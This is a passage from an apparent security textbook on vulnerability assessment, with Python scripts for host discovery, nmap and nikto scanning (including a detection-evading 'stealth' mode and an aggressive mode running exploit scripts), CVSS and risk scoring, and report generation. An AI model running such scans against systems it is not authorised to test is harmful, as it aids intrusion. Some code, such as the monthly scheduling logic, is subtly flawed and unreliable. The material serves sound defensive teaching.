                output = vuln['output'][:100] + '...' if len(vuln['output']) > 100 else vuln['output']
                print(f"    {output}")
            if len(self.results['nmap_vulns']) > 10:
                print(f"    ... and {len(self.results['nmap_vulns'])-10} more")
        
        if self.results['web_technologies']:
            print(f"\n[+] Web Technologies:")
            print(f"  {self.results['web_technologies']}")
        
        print("\n" + "="*60)
    
    def save_results(self, filename):
        """Save results to file"""
        with open(filename, 'w') as f:
            json.dump(self.results, f, indent=2)
        print(f"\n[+] Results saved to {filename}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: vuln_scanner.py <target>")
        print("Example: vuln_scanner.py example.com")
        sys.exit(1)
    
    target = sys.argv[1]
    
    scanner = VulnerabilityScanner(target)
    
    scanner.run_nmap_vuln()
    scanner.run_nikto()
    scanner.check_web_technologies()
    scanner.check_ssl()
    
    scanner.generate_report()
    scanner.save_results(f"{target}_vuln_scan.json")

PART IV — VULNERABILITY ANALYSIS

Chapter 10 — Vulnerability Assessment Methodology

Vulnerability assessment is the systematic process of identifying, classifying, and prioritizing security weaknesses in systems, applications, and network infrastructure. Unlike penetration testing, which actively exploits vulnerabilities, vulnerability assessment focuses on discovery and measurement.

10.1 The Vulnerability Assessment Lifecycle

A comprehensive vulnerability assessment follows a structured lifecycle that ensures thorough coverage and actionable results.

10.1.1 Phase 1: Planning and Scoping

The planning phase establishes the foundation for a successful assessment:

Scope Definition:

  • Asset inventory: Identify all systems, applications, and networks to be assessed
  • IP ranges: Specify exact IP addresses, CIDR ranges, or domain names
  • Exclusions: Document systems that should NOT be scanned (critical production, third-party hosted)
  • Time windows: Define acceptable scanning hours (maintenance windows, off-peak hours)
  • Authentication requirements: Identify systems requiring authenticated scanning

Rules of Engagement:

# rules_of_engagement.yaml
assessment:
  name: "Q3 Infrastructure Security Assessment"
  client: "Example Corp"
  duration: "2024-09-01 to 2024-09-15"
  
scope:
  networks:
    - "10.10.10.0/24"
    - "192.168.1.0/24"
  exceptions:
    - "10.10.10.100"  # Production database
    - "192.168.1.50"   # Critical ERP system
  
testing_windows:
  - "Monday-Friday: 18:00-06:00"
  - "Saturday-Sunday: 00:00-24:00"
  
auth_credentials:
  windows_domain: "internal\\scanner_account"
  linux_sudo: "scanuser"
  
notification_procedures:
  pre_scan: "72 hours notice to IT team"
  critical_findings: "Immediate phone call"
  regular_updates: "Daily status email"

Stakeholder Communication:

  • IT operations team for network access and whitelisting
  • System owners for application credentials
  • Security team for incident response coordination
  • Legal department for compliance requirements
  • Management for resource allocation and prioritization

10.1.2 Phase 2: Discovery and Information Gathering

Building on reconnaissance from Part III, this phase creates a comprehensive asset inventory:

Automated Discovery Script:

#!/usr/bin/env python3
# asset_discovery.py

import subprocess
import json
import ipaddress
import socket
from concurrent.futures import ThreadPoolExecutor
import datetime

class AssetDiscovery:
    def __init__(self, networks, exclude_list=None):
        self.networks = [ipaddress.ip_network(net) for net in networks]
        self.exclude = exclude_list or []
        self.assets = {
            'hosts': [],
            'live_hosts': [],
            'open_ports': {},
            'services': {},
            'os_versions': {}
        }
        
    def ping_sweep(self, network):
        """Discover live hosts using ping"""
        live_hosts = []
        print(f"[*] Scanning network {network}")
        
        for ip in network.hosts():
            if str(ip) in self.exclude:
                continue
                
            try:
                result = subprocess.run(
                    ['ping', '-c', '1', '-W', '1', str(ip)],
                    stdout=subprocess.DEVNULL,
                    stderr=subprocess.DEVNULL,
                    timeout=2
                )
                if result.returncode == 0:
                    live_hosts.append(str(ip))
                    print(f"  Found live host: {ip}")
            except:
                pass
                
        return live_hosts
    
    def arp_scan_local(self, interface='eth0'):
        """ARP scan for local network discovery"""
        try:
            result = subprocess.run(
                ['arp-scan', '--local', '--interface', interface],
                capture_output=True,
                text=True,
                timeout=30
            )
            
            hosts = []
            for line in result.stdout.split('\n'):
                if '\t' in line:
                    parts = line.split('\t')
                    if len(parts) >= 2:
                        ip = parts[0]
                        mac = parts[1]
                        hosts.append({'ip': ip, 'mac': mac})
                        
            return hosts
        except Exception as e:
            print(f"ARP scan error: {e}")
            return []
    
    def dns_lookup(self, ip):
        """Perform reverse DNS lookup"""
        try:
            hostname = socket.gethostbyaddr(ip)[0]
            return hostname
        except:
            return None
    
    def discover_all(self):
        """Run complete discovery across all networks"""
        all_live = []
        
        with ThreadPoolExecutor(max_workers=5) as executor:
            futures = [executor.submit(self.ping_sweep, net) for net in self.networks]
            for future in futures:
                all_live.extend(future.result())
        
        # Deduplicate and sort
        self.assets['live_hosts'] = sorted(set(all_live))
        
        # Perform DNS lookups
        for ip in self.assets['live_hosts']:
            hostname = self.dns_lookup(ip)
            if hostname:
                self.assets['hosts'].append({
                    'ip': ip,
                    'hostname': hostname
                })
            else:
                self.assets['hosts'].append({
                    'ip': ip,
                    'hostname': None
                })
        
        return self.assets
    
    def save_inventory(self, filename):
        """Save asset inventory to file"""
        self.assets['timestamp'] = datetime.datetime.now().isoformat()
        self.assets['total_hosts'] = len(self.assets['live_hosts'])
        
        with open(filename, 'w') as f:
            json.dump(self.assets, f, indent=2)
        
        print(f"\n[+] Asset inventory saved to {filename}")
        print(f"    Total live hosts: {self.assets['total_hosts']}")

# Example usage
if __name__ == "__main__":
    networks = ['192.168.1.0/24', '10.10.10.0/24']
    exclude = ['192.168.1.100']
    
    discovery = AssetDiscovery(networks, exclude)
    assets = discovery.discover_all()
    discovery.save_inventory(f"assets_{datetime.datetime.now().strftime('%Y%m%d')}.json")

10.1.3 Phase 3: Vulnerability Scanning

The scanning phase actively probes systems for known vulnerabilities:

Scan Strategy Development:

#!/usr/bin/env python3
# scan_strategy.py

import json
import nmap
from typing import Dict, List

class ScanStrategy:
    def __init__(self, target_list):
        self.targets = target_list
        self.nm = nmap.PortScanner()
        self.strategies = {
            'quick': self.quick_scan,
            'comprehensive': self.comprehensive_scan,
            'stealth': self.stealth_scan,
            'aggressive': self.aggressive_scan
        }
        
    def quick_scan(self, target):
        """Quick scan for common vulnerabilities"""
        print(f"[*] Quick scan of {target}")
        
        args = '-sV -T4 -F --script vuln --script-timeout 5m'
        self.nm.scan(target, arguments=args)
        
        return self.nm[target]
    
    def comprehensive_scan(self, target):
        """Comprehensive vulnerability scan"""
        print(f"[*] Comprehensive scan of {target}")
        
        args = '-sV -sC -O -T4 -p- --script "(vuln or exploit or discovery)" --script-timeout 10m'
        self.nm.scan(target, arguments=args)
        
        return self.nm[target]
    
    def stealth_scan(self, target):
        """Stealthy scan to avoid detection"""
        print(f"[*] Stealth scan of {target}")
        
        args = '-sS -T2 --max-retries 1 --min-rate 50 --script "(safe or default)"'
        self.nm.scan(target, arguments=args)
        
        return self.nm[target]
    
    def aggressive_scan(self, target):
        """Aggressive scan for in-depth analysis"""
        print(f"[*] Aggressive scan of {target}")
        
        args = '-sV -A -T4 -p- --script "(vuln or exploit or discovery)" --script-args=unsafe=1'
        self.nm.scan(target, arguments=args)
        
        return self.nm[target]
    
    def select_strategy(self, target_type: str) -> str:
        """Select appropriate scan strategy based on target type"""
        
        strategies = {
            'web_server': 'comprehensive',
            'database': 'stealth',
            'workstation': 'quick',
            'firewall': 'stealth',
            'domain_controller': 'stealth',
            'unknown': 'quick'
        }
        
        return strategies.get(target_type, 'quick')
    
    def categorize_target(self, target_info: Dict) -> str:
        """Categorize target based on open ports and services"""
        
        categories = []
        
        if 80 in target_info.get('tcp', {}) or 443 in target_info.get('tcp', {}):
            categories.append('web_server')
        if 3306 in target_info.get('tcp', {}) or 5432 in target_info.get('tcp', {}):
            categories.append('database')
        if 445 in target_info.get('tcp', {}) or 139 in target_info.get('tcp', {}):
            categories.append('windows_host')
        if 22 in target_info.get('tcp', {}):
            categories.append('linux_host')
            
        return categories[0] if categories else 'unknown'
    
    def execute_strategy(self, target, strategy=None):
        """Execute selected scan strategy"""
        
        if not strategy:
            # Need initial port scan to categorize
            quick = self.quick_scan(target)
            target_type = self.categorize_target(quick)
            strategy = self.select_strategy(target_type)
            
        print(f"[+] Using {strategy} strategy for {target}")
        return self.strategies[strategy](target)

# Usage
scanner = ScanStrategy(['192.168.1.100', '192.168.1.101'])
for target in scanner.targets:
    results = scanner.execute_strategy(target)
    # Process results

Scan Scheduling and Prioritization:

#!/usr/bin/env python3
# scan_scheduler.py

import schedule
import time
import logging
from datetime import datetime
import json

class ScanScheduler:
    def __init__(self, config_file):
        with open(config_file, 'r') as f:
            self.config = json.load(f)
            
        self.setup_logging()
        
    def setup_logging(self):
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('scan_scheduler.log'),
                logging.StreamHandler()
            ]
        )
        
    def scan_high_priority(self):
        """Scan high-priority assets"""
        logging.info("Starting high-priority asset scan")
        targets = self.config['priority_assets']['high']
        self.run_scan(targets, 'comprehensive')
        
    def scan_medium_priority(self):
        """Scan medium-priority assets"""
        logging.info("Starting medium-priority asset scan")
        targets = self.config['priority_assets']['medium']
        self.run_scan(targets, 'quick')
        
    def scan_low_priority(self):
        """Scan low-priority assets"""
        logging.info("Starting low-priority asset scan")
        targets = self.config['priority_assets']['low']
        self.run_scan(targets, 'quick')
        
    def weekly_full_scan(self):
        """Run comprehensive weekly scan"""
        logging.info("Starting weekly full scan")
        all_targets = (self.config['priority_assets']['high'] + 
                      self.config['priority_assets']['medium'] + 
                      self.config['priority_assets']['low'])
        self.run_scan(all_targets, 'comprehensive')
        
    def run_scan(self, targets, strategy):
        """Execute scan with specified strategy"""
        logging.info(f"Scanning {len(targets)} targets with {strategy} strategy")
        
        # Implementation would call actual scanning tools
        for target in targets:
            logging.info(f"  Scanning {target}")
            # scan logic here
            
        logging.info("Scan complete")
        
    def schedule_scans(self):
        """Configure scan schedule"""
        
        # High priority - daily at 2 AM
        schedule.every().day.at("02:00").do(self.scan_high_priority)
        
        # Medium priority - every 3 days at 3 AM
        schedule.every(3).days.at("03:00").do(self.scan_medium_priority)
        
        # Low priority - weekly on Sunday at 4 AM
        schedule.every().sunday.at("04:00").do(self.scan_low_priority)
        
        # Full scan - monthly on 1st at 1 AM
        schedule.every().day.at("01:00").do(self.weekly_full_scan) \
            if datetime.now().day == 1 else None
            
        logging.info("Scan schedule configured")
        
    def run(self):
        """Main scheduler loop"""
        self.schedule_scans()
        
        logging.info("Scan scheduler started")
        
        while True:
            schedule.run_pending()
            time.sleep(60)  # Check every minute

# Configuration file
config_example = {
    "priority_assets": {
        "high": [
            "192.168.1.10",  # Domain controller
            "192.168.1.20",  # Critical web server
            "10.10.10.5"     # Database server
        ],
        "medium": [
            "192.168.1.30-50",  # User workstations
            "10.10.10.10-20"    # Application servers
        ],
        "low": [
            "192.168.1.100-150",  # Development machines
            "10.10.20.0/24"       # Test network
        ]
    },
    "scan_windows": {
        "high": "02:00-04:00",
        "medium": "03:00-05:00",
        "low": "04:00-06:00"
    }
}

# if __name__ == "__main__":
#     scheduler = ScanScheduler('scan_config.json')
#     scheduler.run()

10.2 CVSS Framework

The Common Vulnerability Scoring System (CVSS) provides a standardized method for rating vulnerability severity.

10.2.1 CVSS v3.1 Metrics

Base Metric Group:

#!/usr/bin/env python3
# cvss_calculator.py

class CVSSCalculator:
    def __init__(self):
        self.base_metrics = {}
        self.temporal_metrics = {}
        self.environmental_metrics = {}
        
    def calculate_base_score(self, metrics):
        """
        Calculate CVSS v3.1 Base Score
        
        Metrics dictionary should contain:
        - AV (Attack Vector): N, A, L, P
        - AC (Attack Complexity): L, H
        - PR (Privileges Required): N, L, H
        - UI (User Interaction): N, R
        - S (Scope): U, C
        - C (Confidentiality): H, L, N
        - I (Integrity): H, L, N
        - A (Availability): H, L, N
        """
        
        # Metric values (CVSS v3.1)
        av_values = {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.2}
        ac_values = {'L': 0.77, 'H': 0.44}
        pr_values = {
            'N': 0.85,  # None
            'L': {'U': 0.68, 'C': 0.62},  # Low (depending on scope)
            'H': {'U': 0.5, 'C': 0.27}     # High (depending on scope)
        }
        ui_values = {'N': 0.85, 'R': 0.62}
        impact_values = {'H': 0.56, 'L': 0.22, 'N': 0}
        
        # Extract metrics
        av = metrics.get('AV', 'N')
        ac = metrics.get('AC', 'L')
        pr = metrics.get('PR', 'N')
        ui = metrics.get('UI', 'N')
        s = metrics.get('S', 'U')  # Scope
        c = metrics.get('C', 'N')
        i = metrics.get('I', 'N')
        a = metrics.get('A', 'N')
        
        # Calculate Exploitability
        exploitability = 8.22 * av_values[av] * ac_values[ac] * \
                        (pr_values[pr][s] if pr != 'N' else pr_values[pr]) * \
                        ui_values[ui]
        
        # Calculate Impact
        impact = 1 - ((1 - impact_values[c]) * 
                      (1 - impact_values[i]) * 
                      (1 - impact_values[a]))
        
        # Scope adjustment
        if s == 'U':  # Unchanged
            impact_sub = 6.42 * impact
        else:  # Changed
            impact_sub = 7.52 * (impact - 0.029) - 3.25 * (impact - 0.02) ** 15
        
        # Base Score
        if impact_sub <= 0:
            base_score = 0
        else:
            if s == 'U':
                base_score = min(impact_sub + exploitability, 10)
            else:
                base_score = min(1.08 * (impact_sub + exploitability), 10)
        
        # Round to 1 decimal
        base_score = round(base_score * 10) / 10
        
        # Severity rating
        severity = self.get_severity_rating(base_score)
        
        return {
            'base_score': base_score,
            'severity': severity,
            'exploitability': round(exploitability, 2),
            'impact': round(impact_sub, 2),
            'vector': self.build_vector(metrics)
        }
    
    def get_severity_rating(self, score):
        """Convert CVSS score to severity rating"""
        if score == 0:
            return "None"
        elif score < 4:
            return "Low"
        elif score < 7:
            return "Medium"
        elif score < 9:
            return "High"
        else:
            return "Critical"
    
    def build_vector(self, metrics):
        """Build CVSS vector string"""
        vector = "CVSS:3.1/"
        vector += f"AV:{metrics.get('AV', 'N')}/"
        vector += f"AC:{metrics.get('AC', 'L')}/"
        vector += f"PR:{metrics.get('PR', 'N')}/"
        vector += f"UI:{metrics.get('UI', 'N')}/"
        vector += f"S:{metrics.get('S', 'U')}/"
        vector += f"C:{metrics.get('C', 'N')}/"
        vector += f"I:{metrics.get('I', 'N')}/"
        vector += f"A:{metrics.get('A', 'N')}"
        return vector
    
    def calculate_temporal_score(self, base_score, temporal_metrics):
        """Adjust score based on temporal factors"""
        
        e_values = {'X': 1.0, 'U': 0.91, 'P': 0.94, 'F': 0.97, 'H': 1.0}
        rl_values = {'X': 1.0, 'O': 0.95, 'T': 0.96, 'W': 0.97}
        rc_values = {'X': 1.0, 'U': 0.92, 'R': 0.96, 'C': 1.0}
        
        e = temporal_metrics.get('E', 'X')
        rl = temporal_metrics.get('RL', 'X')
        rc = temporal_metrics.get('RC', 'X')
        
        temporal_score = base_score * e_values[e] * rl_values[rl] * rc_values[rc]
        
        return round(temporal_score * 10) / 10
    
    def calculate_environmental_score(self, base_score, modified_metrics):
        """Adjust score based on environmental factors"""
        
        # Similar calculation with modified base metrics
        # and environmental metrics (CR, IR, AR, MAV, MAC, etc.)
        
        return base_score  # Placeholder

# Example usage
calculator = CVSSCalculator()

# Example: Remote code execution in web application
metrics = {
    'AV': 'N',    # Network
    'AC': 'L',    # Low complexity
    'PR': 'N',    # No privileges required
    'UI': 'N',    # No user interaction
    'S': 'U',     # Unchanged scope
    'C': 'H',     # High confidentiality impact
    'I': 'H',     # High integrity impact
    'A': 'H'      # High availability impact
}

result = calculator.calculate_base_score(metrics)
print(f"CVSS Score: {result['base_score']} - {result['severity']}")
print(f"Vector: {result['vector']}")
print(f"Exploitability: {result['exploitability']}")
print(f"Impact: {result['impact']}")

# Output:
# CVSS Score: 9.8 - Critical
# Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Exploitability: 3.9
# Impact: 5.9

10.2.2 CVSS Scoring in Practice

Automated CVSS Assignment:

#!/usr/bin/env python3
# vulnerability_scoring.py

import csv
import json
from typing import Dict, List

class VulnerabilityScorer:
    def __init__(self):
        self.cvss_calc = CVSSCalculator()
        self.vulnerabilities = []
        
    def analyze_finding(self, finding: Dict) -> Dict:
        """Analyze a vulnerability finding and assign CVSS score"""
        
        # Determine metrics based on vulnerability type
        if 'sql_injection' in finding.get('type', ''):
            metrics = {
                'AV': 'N',    # Network
                'AC': 'L',    # Low - SQL injection often easy
                'PR': 'L',    # Low - often needs some privileges
                'UI': 'N',    # None - automated
                'S': 'C',     # Changed - can affect other resources
                'C': 'H',     # High - can access database
                'I': 'H',     # High - can modify database
                'A': 'L'      # Low - availability usually not affected
            }
            
        elif 'xss' in finding.get('type', ''):
            if finding.get('context') == 'reflected':
                metrics = {
                    'AV': 'N', 'AC': 'L', 'PR': 'N', 'UI': 'R',
                    'S': 'C', 'C': 'L', 'I': 'L', 'A': 'N'
                }
            elif finding.get('context') == 'stored':
                metrics = {
                    'AV': 'N', 'AC': 'L', 'PR': 'N', 'UI': 'R',
                    'S': 'C', 'C': 'L', 'I': 'L', 'A': 'N'
                }
                
        elif 'buffer_overflow' in finding.get('type', ''):
            if finding.get('privileges') == 'remote':
                metrics = {
                    'AV': 'N', 'AC': 'H', 'PR': 'N', 'UI': 'N',
                    'S': 'C', 'C': 'H', 'I': 'H', 'A': 'H'
                }
            else:
                metrics = {
                    'AV': 'L', 'AC': 'H', 'PR': 'L', 'UI': 'N',
                    'S': 'C', 'C': 'H', 'I': 'H', 'A': 'H'
                }
                
        else:
            # Default to medium severity
            metrics = {
                'AV': 'N', 'AC': 'L', 'PR': 'L', 'UI': 'N',
                'S': 'U', 'C': 'L', 'I': 'L', 'A': 'L'
            }
        
        # Calculate score
        score = self.cvss_calc.calculate_base_score(metrics)
        
        finding['cvss_score'] = score['base_score']
        finding['cvss_severity'] = score['severity']
        finding['cvss_vector'] = score['vector']
        
        return finding
    
    def batch_score(self, findings_file: str) -> List[Dict]:
        """Score multiple findings from file"""
        
        with open(findings_file, 'r') as f:
            findings = json.load(f)
        
        scored = []
        for finding in findings:
            scored_finding = self.analyze_finding(finding)
            scored.append(scored_finding)
            
        # Sort by CVSS score
        scored.sort(key=lambda x: x['cvss_score'], reverse=True)
        
        return scored
    
    def generate_score_report(self, scored_findings: List[Dict], output_file: str):
        """Generate detailed scoring report"""
        
        report = {
            'summary': {
                'total_findings': len(scored_findings),
                'critical': len([f for f in scored_findings if f['cvss_score'] >= 9]),
                'high': len([f for f in scored_findings if 7 <= f['cvss_score'] < 9]),
                'medium': len([f for f in scored_findings if 4 <= f['cvss_score'] < 7]),
                'low': len([f for f in scored_findings if 0 < f['cvss_score'] < 4]),
                'none': len([f for f in scored_findings if f['cvss_score'] == 0])
            },
            'findings': scored_findings
        }
        
        with open(output_file, 'w') as f:
            json.dump(report, f, indent=2)
        
        return report

# Example usage
scorer = VulnerabilityScorer()
sample_finding = {
    'name': 'SQL Injection in login form',
    'type': 'sql_injection',
    'location': 'https://example.com/login.php',
    'parameter': 'username',
    'context': 'authenticated'
}

scored = scorer.analyze_finding(sample_finding)
print(json.dumps(scored, indent=2))

10.3 Risk Scoring

Risk scoring combines vulnerability severity with business context to prioritize remediation efforts.

10.3.1 Risk Calculation Framework

Risk = Likelihood × Impact

#!/usr/bin/env python3
# risk_scoring.py

import json
from enum import Enum

class Likelihood(Enum):
    VERY_LOW = 1
    LOW = 2
    MEDIUM = 3
    HIGH = 4
    VERY_HIGH = 5

class Impact(Enum):
    VERY_LOW = 1
    LOW = 2
    MEDIUM = 3
    HIGH = 4
    VERY_HIGH = 5

class RiskCalculator:
    def __init__(self):
        self.risk_matrix = self.build_risk_matrix()
        
    def build_risk_matrix(self):
        """Build 5x5 risk matrix"""
        matrix = {}
        for l in Likelihood:
            for i in Impact:
                risk_score = l.value * i.value
                
                if risk_score <= 5:
                    level = "Low"
                elif risk_score <= 12:
                    level = "Medium"
                elif risk_score <= 19:
                    level = "High"
                else:
                    level = "Critical"
                    
                matrix[(l.name, i.name)] = {
                    'score': risk_score,
                    'level': level
                }
        return matrix
    
    def calculate_likelihood(self, vulnerability_data):
        """Calculate likelihood based on multiple factors"""
        score = 0
        factors = []
        
        # Exploit availability
        if vulnerability_data.get('exploit_available'):
            score += 2
            factors.append("Exploit available (+2)")
            
        if vulnerability_data.get('exploit_public'):
            score += 1
            factors.append("Public exploit (+1)")
            
        # Attack complexity
        complexity = vulnerability_data.get('attack_complexity', 'medium')
        if complexity == 'low':
            score += 2
            factors.append("Low attack complexity (+2)")
        elif complexity == 'high':
            score -= 1
            factors.append("High attack complexity (-1)")
            
        # Required privileges
        privileges = vulnerability_data.get('required_privileges', 'none')
        if privileges == 'none':
            score += 2
            factors.append("No privileges required (+2)")
        elif privileges == 'low':
            score += 1
            factors.append("Low privileges required (+1)")
            
        # Attack vector
        vector = vulnerability_data.get('attack_vector', 'network')
        if vector == 'network':
            score += 2
            factors.append("Network attack vector (+2)")
        elif vector == 'adjacent':
            score += 1
            factors.append("Adjacent network (+1)")
            
        # Convert score to likelihood category
        if score >= 8:
            likelihood = Likelihood.VERY_HIGH
        elif score >= 6:
            likelihood = Likelihood.HIGH
        elif score >= 4:
            likelihood = Likelihood.MEDIUM
        elif score >= 2:
            likelihood = Likelihood.LOW
        else:
            likelihood = Likelihood.VERY_LOW
            
        return likelihood, factors
    
    def calculate_impact(self, asset_data, vulnerability_data):
        """Calculate business impact based on asset criticality and vulnerability impact"""
        score = 0
        factors = []
        
        # Asset criticality
        criticality = asset_data.get('criticality', 'medium')
        if criticality == 'high':
            score += 3
            factors.append("High-value asset (+3)")
        elif criticality == 'medium':
            score += 2
            factors.append("Medium-value asset (+2)")
        elif criticality == 'low':
            score += 1
            factors.append("Low-value asset (+1)")
            
        # Data sensitivity
        data_type = asset_data.get('data_type', 'public')
        if data_type == 'pii':
            score += 3
            factors.append("PII data (+3)")
        elif data_type == 'internal':
            score += 2
            factors.append("Internal data (+2)")
        elif data_type == 'public':
            score += 1
            factors.append("Public data (+1)")
            
        # Vulnerability impact on CIA
        cia_impact = vulnerability_data.get('cia_impact', {})
        
        if cia_impact.get('confidentiality') == 'high':
            score += 2
            factors.append("High confidentiality impact (+2)")
        if cia_impact.get('integrity') == 'high':
            score += 2
            factors.append("High integrity impact (+2)")
        if cia_impact.get('availability') == 'high':
            score += 2
            factors.append("High availability impact (+2)")
            
        # Regulatory compliance
        if asset_data.get('regulated', False):
            score += 2
            factors.append("Regulated asset (+2)")
            
        # Convert score to impact category
        if score >= 12:
            impact = Impact.VERY_HIGH
        elif score >= 9:
            impact = Impact.HIGH
        elif score >= 6:
            impact = Impact.MEDIUM
        elif score >= 3:
            impact = Impact.LOW
        else:
            impact = Impact.VERY_LOW
            
        return impact, factors
    
    def calculate_risk(self, vulnerability, asset):
        """Calculate overall risk score"""
        
        likelihood, l_factors = self.calculate_likelihood(vulnerability)
        impact, i_factors = self.calculate_impact(asset, vulnerability)
        
        risk_info = self.risk_matrix[(likelihood.name, impact.name)]
        
        return {
            'risk_score': risk_info['score'],
            'risk_level': risk_info['level'],
            'likelihood': {
                'level': likelihood.name,
                'score': likelihood.value,
                'factors': l_factors
            },
            'impact': {
                'level': impact.name,
                'score': impact.value,
                'factors': i_factors
            },
            'recommendation': self.get_recommendation(risk_info['level'])
        }
    
    def get_recommendation(self, risk_level):
        """Get remediation recommendation based on risk level"""
        
        recommendations = {
            'Critical': "Immediate remediation required. Address within 24-48 hours.",
            'High': "Remediate within 1 week. Prioritize in next sprint.",
            'Medium': "Remediate within 30 days. Add to project backlog.",
            'Low': "Remediate as time permits. Monitor for changes."
        }
        
        return recommendations.get(risk_level, "Review and assess")

# Example usage
calculator = RiskCalculator()

# Example vulnerability
vuln = {
    'exploit_available': True,
    'exploit_public': True,
    'attack_complexity': 'low',
    'required_privileges': 'none',
    'attack_vector': 'network',
    'cia_impact': {
        'confidentiality': 'high',
        'integrity': 'high',
        'availability': 'low'
    }
}

# Example asset
asset = {
    'criticality': 'high',
    'data_type': 'pii',
    'regulated': True
}

risk = calculator.calculate_risk(vuln, asset)
print(json.dumps(risk, indent=2))

10.3.2 Asset Prioritization

#!/usr/bin/env python3
# asset_prioritization.py

class AssetPrioritizer:
    def __init__(self):
        self.asset_register = {}
        
    def calculate_asset_value(self, asset):
        """Calculate asset business value"""
        
        value = 0
        factors = []
        
        # Business function
        function_weights = {
            'domain_controller': 10,
            'database_server': 9,
            'application_server': 8,
            'web_server': 7,
            'file_server': 6,
            'workstation': 4,
            'development': 3,
            'test': 2
        }
        
        function = asset.get('function', 'unknown')
        value += function_weights.get(function, 1)
        factors.append(f"Function: {function} (+{function_weights.get(function, 1)})")
        
        # Data classification
        data_weights = {
            'pii': 10,
            'phi': 10,
            'financial': 9,
            'intellectual_property': 8,
            'internal': 5,
            'public': 1
        }
        
        data_type = asset.get('data_type', 'public')
        value += data_weights.get(data_type, 1)
        factors.append(f"Data: {data_type} (+{data_weights.get(data_type, 1)})")
        
        # Users/dependencies
        users = asset.get('user_count', 0)
        if users > 1000:
            value += 5
            factors.append(f"Users: {users}+ (+5)")
        elif users > 100:
            value += 3
            factors.append(f"Users: {users}+ (+3)")
        elif users > 10:
            value += 1
            factors.append(f"Users: {users}+ (+1)")
            
        # External exposure
        if asset.get('internet_facing', False):
            value += 3
            factors.append("Internet facing (+3)")
            
        # Regulatory compliance
        if asset.get('regulated', False):
            value += 5
            factors.append("Regulated (+5)")
            
        return value, factors
    
    def prioritize_assets(self, assets):
        """Prioritize assets by business value"""
        
        prioritized = []
        for asset in assets:
            value, factors = self.calculate_asset_value(asset)
            
            # Determine priority tier
            if value >= 25:
                priority = "Critical"
                remediation_time = "24 hours"
            elif value >= 20:
                priority = "High"
                remediation_time = "7 days"
            elif value >= 15:
                priority = "Medium"
                remediation_time = "30 days"
            elif value >= 10:
                priority = "Low"
                remediation_time = "90 days"
            else:
                priority = "Informational"
                remediation_time = "As resources permit"
                
            prioritized.append({
                'asset': asset,
                'value_score': value,
                'priority': priority,
                'remediation_time': remediation_time,
                'factors': factors
            })
            
        # Sort by value score descending
        prioritized.sort(key=lambda x: x['value_score'], reverse=True)
        
        return prioritized

# Example usage
assets = [
    {
        'name': 'DC01',
        'function': 'domain_controller',
        'data_type': 'internal',
        'user_count': 1500,
        'internet_facing': False,
        'regulated': True
    },
    {
        'name': 'WEBSRV01',
        'function': 'web_server',
        'data_type': 'pii',
        'user_count': 50000,
        'internet_facing': True,
        'regulated': True
    }
]

prioritizer = AssetPrioritizer()
prioritized = prioritizer.prioritize_assets(assets)
print(json.dumps(prioritized, indent=2))

10.4 Reporting Standards

Effective reporting communicates findings clearly to technical and non-technical audiences.

10.4.1 Report Structure

#!/usr/bin/env python3
# report_generator.py

import json
import datetime
from typing import List, Dict
import markdown

class VulnerabilityReport:
    def __init__(self, assessment_name, client_name):
        self.assessment_name = assessment_name
        self.client_name = client_name
        self.date = datetime.datetime.now()
        self.executive_summary = ""
        self.scope = {}
        self.methodology = []
        self.findings = []
        self.recommendations = []
        self.appendices = {}
        
    def add_executive_summary(self, summary):
        """Add executive summary section"""
        self.executive_summary = summary
        
    def add_scope(self, scope_info):
        """Add assessment scope"""
        self.scope = scope_info
        
    def add_finding(self, finding):
        """Add vulnerability finding"""
        self.findings.append(finding)
        
    def generate_html(self):
        """Generate HTML report"""
        
        # Sort findings by severity
        severity_order = {'Critical': 0, 'High': 1, 'Medium': 2, 'Low': 3, 'Info': 4}
        self.findings.sort(key=lambda x: severity_order.get(x.get('severity', 'Info'), 5))
        
        html = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <title>Vulnerability Assessment Report: {self.client_name}</title>
            <style>
                body {{ font-family: Arial, sans-serif; margin: 40px; }}
                h1 {{ color: #2c3e50; border-bottom: 2px solid #3498db; }}
                h2 {{ color: #34495e; margin-top: 30px; }}
                h3 {{ color: #7f8c8d; }}
                .executive {{ background: #ecf0f1; padding: 20px; border-radius: 5px; }}
                .finding {{ margin: 20px 0; padding: 15px; border-left: 4px solid; }}
                .critical {{ border-color: #c0392b; }}
                .high {{ border-color: #e67e22; }}
                .medium {{ border-color: #f1c40f; }}
                .low {{ border-color: #27ae60; }}
                .info {{ border-color: #3498db; }}
                .severity-badge {{ display: inline-block; padding: 3px 8px; border-radius: 3px; color: white; }}
                .severity-Critical {{ background: #c0392b; }}
                .severity-High {{ background: #e67e22; }}
                .severity-Medium {{ background: #f1c40f; color: black; }}
                .severity-Low {{ background: #27ae60; }}
                .severity-Info {{ background: #3498db; }}
                table {{ border-collapse: collapse; width: 100%; }}
                th, td {{ border: 1px solid #ddd; padding: 8px; text-align: left; }}
                th {{ background-color: #34495e; color: white; }}
                .stats {{ display: flex; justify-content: space-around; margin: 30px 0; }}
                .stat {{ text-align: center; padding: 20px; background: #ecf0f1; border-radius: 5px; }}
                .stat-number {{ font-size: 48px; font-weight: bold; }}
                .stat-label {{ font-size: 14px; color: #7f8c8d; }}
            </style>
        </head>
        <body>
            <h1>Vulnerability Assessment Report</h1>
            <p><strong>Client:</strong> {self.client_name}</p>
            <p><strong>Assessment:</strong> {self.assessment_name}</p>
            <p><strong>Date:</strong> {self.date.strftime('%B %d, %Y')}</p>
            
            <h2>Executive Summary</h2>
            <div class="executive">
                {self.executive_summary}
            </div>
            
            <h2>Risk Statistics</h2>
            <div class="stats">
        """
        
        # Calculate statistics
        severity_counts = {
            'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0, 'Info': 0
        }
        
        for finding in self.findings:
            severity_counts[finding.get('severity', 'Info')] += 1
            
        for severity, count in severity_counts.items():
            html += f"""
                <div class="stat">
                    <div class="stat-number" style="color: {self.get_severity_color(severity)}">{count}</div>
                    <div class="stat-label">{severity}</div>
                </div>
            """
            
        html += """
            </div>
            
            <h2>Detailed Findings</h2>
        """
        
        for finding in self.findings:
            severity = finding.get('severity', 'Info').lower()
            html += f"""
            <div class="finding {severity}">
                <h3>{finding.get('title')} 
